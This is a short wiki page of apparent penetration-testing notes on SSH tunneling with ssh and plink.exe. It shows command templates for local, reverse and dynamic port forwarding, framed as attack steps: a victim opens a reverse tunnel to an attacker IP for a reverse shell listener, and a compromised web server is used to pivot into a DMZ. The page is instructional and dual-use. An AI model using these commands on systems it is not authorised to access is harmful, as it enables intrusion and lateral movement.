Skip to content

SSH tunneling

lethanhtung01011980 edited this page Dec 30, 2019 · 25 revisions

Goals

  • Bi-directional communications
  • Can use plink.exe in Windows as command-line ssh client at /usr/share/windows-binaries/plink.exe
  • plink root@abc.com

Local port forwarding

Access to local-PC-port, then being forward to tunnel-gateway-port of tunnel-gateway. Then, finally to of

  • In Windows restricted PC: plink.exe <tunnel-gateway> -P <tunnel-gateway-port> -L <local PC port>:<remote target host>:<remote target port> -N
  • In Linux restricted PC: ssh <tunnel-gateway> -p <tunnel-gateway-port> -L <local PC port>:<remote target host>:<remote target port>
  • Then access localhost with port <local PC port>

Remote / Reverse port forwarding.

For reverse shell listenner

  • Windows victim inside NAT: plink.exe <remote-attacker-ip> -R <victim-binding-port-in-attacker-host>:<local-victim-host>:<local-victim-port> -N
  • Linux victim inside NAT: ssh <remote-attacker-ip> -R <victim-binding-port-in-attacker-host>:<local-victim-host>:<local-victim-port>
  • Attacker outside NAT: nc 127.0.0.1 <victim-binding-port-in-attacker-host>

Dynamic port forwarding

SSH server as remote tunnel server

For Linux victim

To tunnel all incoming traffic to any host in the DMZ network, through the compromised SSHd-enabled web server.

  • ssh -D <local proxy port> -p <remote port> <target>
  • plink.exe -D 1337 -p 22 SSH-attacker
  • Need proxy chains

For Windows victim:

Then

  • To use SOCKS image
  • To enable Proxy DNS image

Sidebar

0. COMMON exploits

1. Scan Info

1.2 Passive Gathering

1.3 Active Gathering

2. Pre-attack

2.2 File transfer

3. Get Reverse Shell

4. Exploits

4.2 Windows Exploits

4.3 Linux Exploits

4.4 Password crack

4.5 Buffer Overflow

4.6 Web attacks

6. Escalate Privilege

6.1 Escalate in Windows

6.2 Escalate in Linux

7. Access and further attacks

8. Port redirection and Tunnelling

9. Metasploit

10. Kali

11. Thirdparty scripts

Clone this wiki locally